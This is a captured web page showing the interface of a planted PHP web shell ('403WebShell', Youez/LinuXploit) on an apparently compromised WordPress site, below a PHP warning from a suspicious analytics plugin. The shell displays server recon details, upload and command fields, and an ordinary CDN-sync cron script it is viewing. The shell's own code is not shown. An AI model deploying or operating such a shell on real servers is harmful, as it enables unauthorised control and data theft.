Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560
[2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85
[3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50
[4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13
[5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
403WebShell
403Webshell
Server IP : 94.177.8.99  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /mnt/home/include/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /mnt/home/include/cron.php
<?php   // Cron

// this is run once per hour on cdn3 and cdn4 to make sure these cdns have a complete copy of all media
// /Volumes/Externals/CDN/include

    header('Content-type: text/plain');
    
    require_once __DIR__ . '/class.media-source.php';
    set_time_limit(0);

// determine server
    $x = trim(`/bin/hostname`);
    switch($x) {
	case 'rog':
        case 'minimac18.local':
            $server = MediaSource::BACKUP1;
            break;

        default:
            die('Unable to determine CDN from hostname');
    }

// get file list
    $url = "https://hopeinstoughton.org/~/cdn-sync?cdn={$server}";
    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    $returned_text = curl_exec($ch);
    curl_close($ch); 
    $filelist = json_decode($returned_text);
    
	if (is_array($filelist)) {
		foreach($filelist as $fileitem) {
			$txt = str_replace('.hopeinstoughton.org', '...', $fileitem->link);
			$txt = str_replace('https://', '', $txt);
			echo "[{$fileitem->id}, {$fileitem->type}] Processing {$txt}\n";
			flush();
			SynchronizeItem($fileitem, $server);
		}
	}
    
    die("\nDone\n");

// assume that all folders have been created
function SynchronizeItem($fileitem, $server) {

    // Extract the authorization
    $auth = preg_match('~/file/(.*?)/~', $fileitem->link, $match) ? $match[1] : '';

    $target = realpath(__DIR__ . '/../' . substr($fileitem->id, 0, 1));
    $targetname = $target . '/' . $fileitem->id . '.' . $fileitem->type;
    $fs = file_exists($targetname) ? filesize($targetname) : 0;
    
    if ($fs != $fileitem->fs) {
        $url = parse_url($fileitem->link);
        $elements = explode('/', $url['path']);
        $elements = array_map('rawurlencode', $elements);
        $url['path'] = implode('/', $elements);
        $link = $url['scheme'] . '://' . $url['host'] . $url['path'];
        $safe_file = escapeshellarg($targetname);
        $safe_url = escapeshellarg($link);
        
        // download using curl external directly to target folder
        $command = "/usr/bin/curl -k -N -s -o $safe_file $safe_url";
		echo "CMD: $command\n";
        echo `$command 2>&1`;

        // make sure length is correct (if incorrect, remove it and move onto next)
        clearstatcache(TRUE, $targetname);
        $fs = file_exists($targetname) ? filesize($targetname) : 0;
        if ($fs != $fileitem->fs) {
            echo "\nFilesystem Size error: $targetname [local: {$fs} != remote: {$fileitem->fs}]\n";
			if ($fs < 100 && $fs > 0) echo file_get_contents($targetname) . "\n\n";
            @unlink($targetname);
            return FALSE;
        }
    }

    $postRequest = [
        'auth' => $auth,
        'type' => $fileitem->type,
    ];

//  mark as processed - curl request including: auth, type and $server
    $url = "https://hopeinstoughton.org/~/cdn-sync?cdn={$server}";
    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $postRequest);
    $returned_text = curl_exec($ch);
    curl_close($ch); 
	var_dump($returned_text);
    $result = json_decode($returned_text);
    return $result->success;
}

Youez - 2016 - github.com/yon3zu
LinuXploit